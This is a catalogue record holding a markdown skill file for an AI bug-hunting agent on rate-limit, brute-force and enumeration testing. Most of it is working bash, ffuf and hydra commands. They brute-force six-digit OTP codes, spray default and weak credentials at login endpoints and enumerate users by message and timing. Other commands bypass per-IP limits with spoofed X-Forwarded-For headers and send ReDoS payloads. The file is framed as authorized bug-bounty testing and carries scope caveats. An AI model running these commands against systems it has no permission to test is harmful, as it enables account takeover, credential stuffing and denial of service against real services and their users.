{"id":"hunt-brute-force","name":"hunt-brute-force","summary":"Hunt Missing/Weak Rate Limiting — ログインのブルートフォース、OTP/2FAのブルートフォース(10^6キースペース)、パスワードリセットトークンブルート、認証情報の詰め込み、エラー文字列/ステータスコード/タイミングの違いによるユーザー名/メール列挙、弱いパスワードポリシー、CAP…","body":"# HUNT-BRUTE-FORCE — Rate Limiting / Brute Force / Enumeration\n\n> Grounding note: this skill is built from published technique classes, not from a\n> curated set of named HackerOne reports. `report_count` is intentionally `0` — do\n> not cite an exact payout or report ID you cannot verify. Where a public case is\n> well-documented (e.g. Laxman Muthiyah's Instagram password-reset OTP race/rotation\n> research, 2019–2021), it is named below as a *technique reference*, not a payout claim.\n\n## Crown Jewel Targets\n\nOTP brute force (6-digit = 1,000,000 combinations) with no effective rate limit = Critical ATO bypass.\n\n**Highest-value chains:**\n- **OTP / 2FA brute → MFA bypass → ATO** — no effective rate limit on `/verify-otp`, full 000000–999999 keyspace reachable\n- **Password-reset token brute** — short/predictable/non-expiring tokens + no rate limit → ATO (the Instagram 2019 case combined a 6-digit reset code, no rate limit per request-source, and IP rotation to make 10^6 tractable)\n- **Username/email enumeration → targeted credential stuffing** — valid/invalid distinguishable by response string, status code, or timing, then sprayed with breach corpora\n- **Coupon / gift-card / referral code brute** — no rate limit on code validation → financial impact\n- **ReDoS** — attacker-controlled input hits a catastrophic-backtracking regex → CPU exhaustion → DoS\n\n---\n\n## Autonomous Testing Priority\n\n**Work within your turn budget — prioritize signal over volume.**\n\nYou cannot brute-force millions of combinations in automated testing. Focus on two things: (1) credential spraying with the most likely candidates, and (2) detecting whether rate limiting exists at all.\n\n**Strategy:**\n1. Identify the login endpoint and the expected parameter names (username/email, password).\n2. Try weak/default credentials likely for the target context — default admin credentials for the app's stack, simple passwords for test environments, credentials visible elsewhere on the app (e.g. usernames exposed in profiles, default passwords in documentation).\n3. After 3-5 failed attempts, check for rate-limit signals (429 status, \"too many attempts\" message, CAPTCHA appearance, account lockout message). Absence of these = rate limiting is missing = vulnerability.\n4. Use form-encoding for traditional login forms, JSON for REST API login endpoints.\n\n**What to look for as success:**\n- Session token or JWT in the response body or Set-Cookie header\n- Redirect to authenticated dashboard\n- Response body that differs from the failed-login baseline\n\n**Username enumeration (separate finding):** Try a known-valid username vs a random one. If the error message differs (\"Wrong password\" vs \"User not found\") or response time differs → user enumeration vulnerability, even without a successful login.\n\n---\n\n## CRITICAL: Four rate-limit states — do not collapse them\n\nA `200`/`401` with no `429` does **not** mean \"no rate limiting\". A rate-limiting\nskill that only checks for `429`/lockout produces false negatives. Classify the\ndefense BEFORE concluding, by sending a burst of ~50 requests and watching the\n*full* response (status, body, headers, latency, and downstream success):\n\n| State | Signal | Brute still feasible? |\n|-------|--------|-----------------------|\n| **Hard account lockout** | account disabled after N fails; later *correct* creds also fail | No (but lockout itself can be a DoS finding) |\n| **Soft IP throttle** | `429` / increasing latency keyed on source IP only | Yes — bypass via header/IP rotation (Phase 4) |\n| **CAPTCHA injection** | `200` but body switches to a CAPTCHA challenge after N | Maybe — check if the verify endpoint enforces it server-side or if the API path skips it |\n| **Silent shadow-throttle** | `200`/`401` returned for every request, but submissions are *dropped* — the genuinely-correct OTP/password stops being accepted, or responses become canned | **This is the trap.** A naive loop sees \"all 200, no 429\" and reports \"no rate limit\" — false. |\n\n**Shadow-throttle detector** — inject a known-good value at a known position and\nconfirm it still works under load:\n```bash\n# Seed: position 500 in the brute set is the REAL OTP for your own test account.\n# If the loop reaches 500 and the correct code no longer authenticates,\n# the endpoint is silently throttling/dropping — NOT unprotected.\nKNOWN_GOOD=\"123456\"   # the actual current OTP for YOUR test account\nfor n in $(seq 0 600); do\n  CODE=$([ \"$n\" = \"500\" ] && echo \"$KNOWN_GOOD\" || printf \"%06d\" \"$n\")\n  CODE_RESP=$(curl -s -o /tmp/bf_body -w \"%{http_code} %{time_total}\" \\\n    -X POST \"https://$TARGET/api/verify-otp\" \\\n    -H \"Content-Type: application/json\" -H \"Cookie: $SESSION_COOKIE\" \\\n    -d \"{\\\"otp\\\":\\\"$CODE\\\"}\")\n  echo \"$n $CODE $CODE_RESP $(wc -c </tmp/bf_body)\"\ndone\n# Three columns to watch: status, time_total, body size.\n# Rising time_total or a body-size change with status unchanged = shadow throttle.\n```\n\n---\n\n## Step-by-Step Hunting Methodology\n\n### Phase 1 — Login Rate Limit Test (classify, don't just count 429s)\n```bash\n# Send a burst and log status + latency + body length for EACH attempt.\nfor i in $(seq 1 50); do\n  read CODE TIME < <(curl -s -o /tmp/bf_l -w \"%{http_code} %{time_total}\\n\" \\\n    -X POST \"https://$TARGET/api/login\" \\\n    -H \"Content-Type: application/json\" \\\n    -d \"{\\\"username\\\":\\\"test@$TARGET\\\",\\\"password\\\":\\\"wrong$i\\\"}\")\n  echo \"Attempt $i: status=$CODE time=${TIME}s len=$(wc -c </tmp/bf_l)\"\n  sleep 0.1\ndone\n# Then CLASSIFY against the 4-state table above. Watch for:\n#   - status flips to 429 / 403  → soft throttle or lockout\n#   - body grows / CAPTCHA token appears → CAPTCHA injection\n#   - latency climbs while status stays 401 → shadow throttle\n#   - genuinely nothing changes across all 50 → candidate \"no rate limit\" (confirm w/ Phase 2 seed)\n```\n\n### Phase 2 — OTP / 2FA Brute Force\n```bash\n# PRE-REQUISITE: a valid session that is pending OTP verification (your own test account).\nSESSION_COOKIE=\"pre-auth-session-after-first-factor\"\n\n# ---- 2a. PoC probe: send 101 codes (seq 0..100 is INCLUSIVE = 101 values) ----\n# This ONLY proves the endpoint accepts repeated attempts without 429/lockout.\n# It does NOT prove the full 10^6 keyspace is brute-forcible — see 2b.\nfor CODE in $(seq -f \"%06g\" 0 100); do\n  RESP=$(curl -s -X POST \"https://$TARGET/api/verify-otp\" \\\n    -H \"Content-Type: application/json\" -H \"Cookie: $SESSION_COOKIE\" \\\n    -d \"{\\\"otp\\\":\\\"$CODE\\\"}\" -o /dev/null -w \"%{http_code}\")\n  echo \"$CODE: $RESP\"\n  [ \"$RESP\" = \"429\" ] && { echo \"Rate limit at $CODE\"; break; }\ndone\n# 101 attempts with no 429/lockout → endpoint is a candidate. NOW run the shadow-throttle\n# seed test (above) before claiming \"no rate limit\". A clean probe is necessary, not sufficient.\n\n# ---- 2b. Full-keyspace impact proof (only with explicit authorization + your own account) ----\n# Severity rests on 10^6 being REACHABLE, not on 101 codes. Demonstrate tractability:\n#   - keyspace = 10^6 ; observed throughput from 2a (req/s) ; expected hit at ~half keyspace.\n#   - e.g. 50 req/s sustained → ~10^6 / 50 ≈ 5.5 hours worst case, ~2.8h expected. That IS the impact.\n#   - If a code rotates every T seconds, the real bound is (req/s * T) attempts per window.\n#     Brute is only viable if (throughput * code_lifetime) approaches the keyspace, OR if the\n#     code does NOT rotate / reset is unlimited (the Instagram-2019 class).\n# Report the math; do NOT actually exhaust 10^6 against a third party.\n```\n\n### Phase 3 — Username / Email Enumeration (string AND status AND timing)\n```bash\nVALID_USER=\"known-user@$TARGET\"\nINVALID_USER=\"definitely-not-real-xyz123@$TARGET\"\n\n# String + status diff\nfor U in \"$VALID_USER\" \"$INVALID_USER\"; do\n  curl -s -o /tmp/bf_e -w \"[$U] status=%{http_code} time=%{time_total}s len=%{size_download}\\n\" \\\n    -X POST \"https://$TARGET/api/login\" -H \"Content-Type: application/json\" \\\n    -d \"{\\\"email\\\":\\\"$U\\\",\\\"password\\\":\\\"wrongpassword\\\"}\"\ndone\ndiff <(curl -s -X POST \"https://$TARGET/api/login\" -H 'Content-Type: application/json' \\\n        -d \"{\\\"email\\\":\\\"$VALID_USER\\\",\\\"password\\\":\\\"wrong\\\"}\") \\\n     <(curl -s -X POST \"https://$TARGET/api/login\" -H 'Content-Type: application/json' \\\n        -d \"{\\\"email\\\":\\\"$INVALID_USER\\\",\\\"password\\\":\\\"wrong\\\"}\")\n# Different message/status/len → enumeration.\n\n# Timing oracle (valid users hash the password, invalid users short-circuit → measurable delta).\n# Sample MANY times and compare medians — a single request is noise, not signal.\necho \"VALID timings:\";   for i in $(seq 1 30); do curl -s -o /dev/null -w \"%{time_total}\\n\" \\\n  -X POST \"https://$TARGET/api/login\" -H 'Content-Type: application/json' \\\n  -d \"{\\\"email\\\":\\\"$VALID_USER\\\",\\\"password\\\":\\\"wrong\\\"}\"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'\necho \"INVALID timings:\"; for i in $(seq 1 30); do curl -s -o /dev/null -w \"%{time_total}\\n\" \\\n  -X POST \"https://$TARGET/api/login\" -H 'Content-Type: application/json' \\\n  -d \"{\\\"email\\\":\\\"$INVALID_USER\\\",\\\"password\\\":\\\"wrong\\\"}\"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'\n# A reproducible median delta (e.g. valid ~180ms vs invalid ~40ms) is a timing-based enum finding.\n\n# Reset + registration enumeration\ncurl -s -X POST \"https://$TARGET/forgot-password\" -d \"email=$VALID_USER\"   | grep -i \"sent\\|exist\\|not found\\|registered\"\ncurl -s -X POST \"https://$TARGET/forgot-password\" -d \"email=$INVALID_USER\" | grep -i \"sent\\|exist\\|not found\\|registered\"\ncurl -s -X POST \"https://$TARGET/api/register\"   -d \"email=$VALID_USER\"    | grep -i \"exist\\|taken\\|already\"\n```\n\n### Phase 4 — IP / Source Rotation Bypass\n```bash\n# Per-IP limits are bypassable when the app trusts a client-controlled source header.\n# Rotate the header EVERY request; if the 429 you hit in Phase 1 disappears → broken limit.\nHEADERS=( \"X-Forwarded-For\" \"X-Real-IP\" \"X-Originating-IP\" \"X-Client-IP\" \\\n          \"X-Remote-IP\" \"X-Forwarded\" \"Forwarded-For\" \"CF-Connecting-IP\" \"True-Client-IP\" )\nfor i in $(seq 1 60); do\n  RAND_IP=\"$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1)\"\n  ARGS=(); for h in \"${HEADERS[@]}\"; do ARGS+=(-H \"$h: $RAND_IP\"); done\n  RESP=$(curl -s \"${ARGS[@]}\" -X POST \"https://$TARGET/api/login\" \\\n    -H \"Content-Type: application/json\" \\\n    -d \"{\\\"email\\\":\\\"test@$TARGET\\\",\\\"password\\\":\\\"wrong$i\\\"}\" -o /dev/null -w \"%{http_code}\")\n  echo \"Attempt $i (IP $RAND_IP): $RESP\"\ndone\n# Also try: multiple comma-joined XFF values (\"1.2.3.4, 5.6.7.8\"), and appending your real IP\n# AFTER a spoofed one — some parsers take first, some last.\n# CONFIRM the bypass: re-run Phase 1 WITHOUT rotation to show the 429 returns. The delta is the proof.\n```\n\n### Phase 5 — Token Entropy (measure it, don't eyeball it)\n```bash\n# Collect reset/session/OTP tokens for YOUR OWN test account, then quantify entropy.\nfor i in $(seq 1 20); do\n  curl -s -X POST \"https://$TARGET/forgot-password\" -d \"email=your-test@email.com\"\n  # Extract token from the email/link and append to tokens.txt\n  sleep 2\ndone\n\n# 1) Shannon entropy / compressibility — low entropy = predictable:\nent tokens.txt 2>/dev/null || \\\n  python3 -c \"import sys,math,collections;d=open('tokens.txt').read();c=collections.Counter(d);n=len(d);\\\nprint('bits/char =', -sum(v/n*math.log2(v/n) for v in c.values()))\"\n\n# 2) If tokens are hex/base64, decode and look for structure (timestamp, counter, PID):\nwhile read t; do echo -n \"$t -> \"; echo -n \"$t\" | xxd -r -p 2>/dev/null | xxd | head -1; done < tokens.txt\n\n# 3) Sequential / time-correlated test — sort and diff consecutive numeric tokens:\nsort -n tokens.txt | awk 'NR>1{print $1-prev} {prev=$1}'   # constant/small delta = counter-based\n\n# 4) DEFINITIVE tool: pipe ~10k tokens through Burp Sequencer (Live capture on the reset\n#    response) — it runs FIPS/NIST randomness tests and reports effective bits of entropy.\n#    < ~64 effective bits on a security token is a finding; the brute-window math follows.\n```\n\n### Phase 6 — ReDoS Detection\n```bash\n# Hit input-validation / search endpoints with catastrophic-backtracking payloads.\n# Classic evil-regex triggers (nested quantifier / overlapping alternation):\nfor LEN in 5 10 15 20 25 30; do\n  INPUT=$(python3 -c \"print('a'*$LEN + '!')\")              # for (a+)+$  /  (a|a)*$ style regex\n  T=$(curl -s -o /dev/null -w \"%{time_total}\" \"https://$TARGET/search?q=$INPUT\")\n  echo \"len=$LEN -> ${T}s\"\ndone\n# Other payload shapes to try by field: email regex → \"a@\"+\"a\"*N ; URL regex → \"http://\"+\"a\"*N\n# DOUBLING latency per +5 chars (super-linear) = ReDoS. Linear growth = just a slow endpoint, NOT a bug.\n# Confirm with a control: send the same byte-length of a BENIGN string; if it returns fast, the\n# blow-up is regex-driven, not size-driven.\n```\n\n---\n\n## Automation\n```bash\n# ---- ffuf: OTP brute ----\n# PoC probe (101 codes) — proves acceptance, NOT full keyspace. Note the inclusive seq.\nffuf -u \"https://$TARGET/api/verify-otp\" -X POST \\\n  -H \"Content-Type: application/json\" -H \"Cookie: session=SESSION\" \\\n  -d '{\"otp\": \"FUZZ\"}' \\\n  -w <(seq -f \"%06g\" 0 100) \\\n  -mc all -ac \\\n  -rate 50            # cap throughput so YOU can read the rate-limit response, not DoS the target\n\n# FULL keyspace (authorized + your own account only) — generate all 10^6 codes:\n#   seq -f \"%06g\" 0 999999 > /tmp/otp_full.txt   (then -w /tmp/otp_full.txt)\n# Use -mc all + -ac so ffuf auto-calibrates and you SEE 429/403/CAPTCHA responses instead of\n# filtering them out. -mc 200 alone hides throttling — never brute with -mc 200 only.\n# Add -p 0.1 jitter and watch the Errors/RateLimited counters; stop if the success oracle stops firing.\n\n# ---- hydra: login spray ----\nhydra -l admin@target.com -P ~/wordlists/top-1000.txt \"$TARGET\" \\\n  http-post-form \"/api/login:email=^USER^&password=^PASS^:Invalid\" -t 4\n\n# ---- nuclei: rate-limit / default-cred templates ----\nnuclei -u \"https://$TARGET\" -t http/fuzzing/ -t http/default-logins/ -severity medium,high,critical\n```\n\n---\n\n## Chain Table\n\n| Finding | Chain to | Impact |\n|---------|----------|--------|\n| No effective rate limit on OTP (full 10^6 reachable) | MFA bypass → ATO | Critical |\n| Password-reset code brute + IP rotation | Reset → ATO (Instagram-2019 class) | Critical |\n| No rate limit on login + enumeration | Credential stuffing with breach corpus | High |\n| IP bypass via X-Forwarded-For et al. | Every per-IP limit on the app defeated | High |\n| Predictable / low-entropy reset token | Token guess within validity window → ATO | High |\n| ReDoS on a public input field | Single-request CPU exhaustion → DoS | Medium–High |\n| Hard lockout triggerable by attacker | Targeted account DoS (lock victim out) | Medium |\n\n---\n\n## Validation — false-positive discipline\n\nBefore writing the report, each must hold:\n\n- **OTP/login \"no rate limit\"**: confirmed against ALL FOUR states — not just absence of `429`.\n  Shadow-throttle seed test passed (the known-good value still authenticates under burst load).\n  Latency and body-size were monitored, not only status code.\n- **Full-keyspace claim**: severity is justified by the *reachability math* (throughput × code-lifetime\n  vs 10^6), not by a 101-code probe. State the numbers in the report.\n- **Enumeration**: difference is reproducible across ≥20 samples and is a *server-state* difference\n  (valid vs invalid user), not a server-policy artifact (e.g. a generic \"if this email exists we sent…\"\n  message is NOT enumeration). For timing, compare medians of many samples, never single requests.\n- **IP-rotation bypass**: proven by toggling rotation off and showing the `429` returns. The delta IS\n  the proof; one fast run alone is not.\n- **Token entropy**: backed by an actual measurement (Burp Sequencer effective-bits, `ent`, or a\n  demonstrated counter/timestamp structure), not \"looks short\".\n- **ReDoS**: super-linear (doubling) latency growth with a benign-control comparison; linear ≠ ReDoS.\n- **Scope/impact**: did you reach a real outcome (authenticated session, leaked account list, DoS)?\n  A rate-limit gap with no reachable impact is informational, not Medium.\n\n**Severity:**\n- Effective brute of OTP/MFA/reset-code → demonstrated ATO path: **Critical**\n- No login rate limit + working credential-stuffing/IP-bypass: **High**\n- Predictable security token (measured low entropy): **High**\n- Username/email enumeration alone: **Low–Medium**\n- ReDoS with reproducible meaningful server lag: **Medium–High**\n- Attacker-triggerable hard lockout (account DoS): **Medium**","author":"@elementalsouls","ownerProfile":null,"authorContacts":null,"sourceUrl":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-brute-force","license":"MIT","category":"document","lang":"en","tokens":4482,"stars":0,"calls30d":1,"claimed":false,"visibility":"public","origin":"crawler","version":"0.1.0","createdAt":"2026-08-22","updatedAt":"2026-08-22","files":[],"requires":{"mcp":[],"tools":[]},"safety":{"flags":[],"scannedAt":"2026-08-22","hasScripts":false,"networkEndpoints":[]}}